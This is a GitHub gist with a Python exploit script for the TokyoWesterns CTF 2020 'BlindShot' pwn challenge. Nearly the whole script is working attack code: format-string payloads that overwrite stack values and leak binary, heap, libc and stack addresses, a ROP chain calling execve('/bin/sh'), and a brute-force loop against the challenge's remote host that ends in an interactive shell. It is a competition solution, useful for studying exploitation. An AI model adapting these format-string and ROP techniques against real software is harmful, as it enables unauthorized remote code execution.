Skip to content

Instantly share code, notes, and snippets.

@shift-crops
Created September 21, 2020 15:28
Show Gist options
  • Save shift-crops/7344c042767022deed537d4ef0033b03 to your computer and use it in GitHub Desktop.
Save shift-crops/7344c042767022deed537d4ef0033b03 to your computer and use it in GitHub Desktop.
TokyoWesterns CTF 2020 BlindShot
#!/usr/bin/env python3
from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
bin_file = './blindshot'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'
#==========
env = Environment('debug', 'local', 'remote')
env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target', debug = {'argv':[bin_file], 'aslr':True, 'gdbscript':'b *service+110'}, \
local = {'argv':[bin_file]}, \
remote = {'host':'pwn01.chal.ctf.westerns.tokyo', 'port':12463})
env.set_item('libc', debug = None, \
local = None, \
remote = './libc-2.31.so')
env.select()
#==========
binf = ELF(bin_file)
offset_main = binf.sep_function['main']
libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_main = libc.sep_function['__libc_start_main']
recur_ofs = (offset_main + 0x35) & 0xff
#==========
def attack(conn, **kwargs):
fb = '%1${val}x%{idx}${size}'
fmt = '%16x'*10 + '%*x%hhn' + '%16x'*3 + '%{}x%hn'.format((0x10000-0x18)-0x10*13)
fmt += '%16x'*14 + '%{}x%hn'.format((0x10000-0x8)-0x10*14)
fmt += '%48$hn'
fmt += '%1$*45$x'*3
fmt += fb.format(idx=46, size='hhn', val=(0xc0-0x40 + recur_ofs) & 0xff)
fmt += '%1${}x'.format(0x101-recur_ofs) # ret&0xff == 1
conn.sendlineafter('> ', fmt)
conn.recvuntil('done.')
fmt = fb.format(idx=46, size='hhn', val=recur_ofs)
fmt += '_%9$015lx_%11$015lx_%12$015lx_%16$015lx'
fmt += '_%1${}x!'.format((0x103-recur_ofs)-(0x10*4+2)) # ret&0xff == 3
if not conn.recvuntil('> ', timeout=0.1):
raise
conn.sendline(fmt)
leak = conn.recvuntil('!').decode().split('_')[1:-1]
leak = list(map(lambda x : int(x,16), leak))
addr_main = leak[2] - 0x3f
binf.address = addr_main - offset_main
info('addr_binf_base = 0x{:08x}'.format(binf.address))
addr_heap_base = leak[0] - 0x780
info('addr_heap_base = 0x{:08x}'.format(addr_heap_base))
addr_libc_main = leak[3] - 0xf3
libc.address = addr_libc_main - offset_libc_main
info('addr_libc_base = 0x{:08x}'.format(libc.address))
addr_libc_str_sh = next(libc.search(b'/bin/sh'))
addr_stack = leak[1]
info('addr_stack = 0x{:08x}'.format(addr_stack))
rop_binf = ROP(binf)
addr_pop_rsp_18 = rop_binf.rsp_r13_r14_r15.address
rop_libc = ROP(libc)
rop_libc.alarm(0)
rop_libc.execve(addr_libc_str_sh, 0, 0)
# [18/33] -> [46]
# [34] -> [48]
for i in range(2 if (addr_heap_base ^ binf.address)>>32 == 0 else 3):
x = (addr_stack+0x50+i*2)&0xffff
fmt = fb.format(idx=34, size='hn', val=x)
fmt += fb.format(idx=46, size='hhn', val=(recur_ofs-x) & 0xff)
fmt += '%1${}x'.format(0x103-recur_ofs)
conn.sendlineafter('> ', fmt)
x = (addr_heap_base+0xa40-0x18)>>(0x10*i) & 0xffff
fmt = fb.format(idx=48, size='hn', val=x)
fmt += fb.format(idx=46, size='hhn', val=(recur_ofs-x) & 0xff)
fmt += '%1${}x'.format(0x103-recur_ofs)
conn.sendlineafter('> ', fmt)
fmt = fb.format(idx=34, size='hn', val=addr_stack & 0xffff)
fmt += fb.format(idx=33, size='hn', val=0x48)
fmt += fb.format(idx=46, size='hhn', val=(recur_ofs-(addr_stack+0x48)) & 0xff)
fmt += '%1${}x'.format(0x103-recur_ofs)
conn.sendlineafter('> ', fmt)
fmt = fb.format(idx=48, size='hn', val=(addr_stack+0x40) & 0xffff)
fmt += fb.format(idx=46, size='hn', val=(addr_pop_rsp_18 - (addr_stack+0x40)) & 0xffff)
conn.sendlineafter('> ', fmt.encode().ljust(len(fmt)+0xf & ~0xf, b'\x00') + bytes(rop_libc))
#==========
def main():
comn = Communicate(env.mode, **env.target)
comn.connect()
comn.bruteforce(attack)
comn.interactive()
if __name__=='__main__':
main()
#==========
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment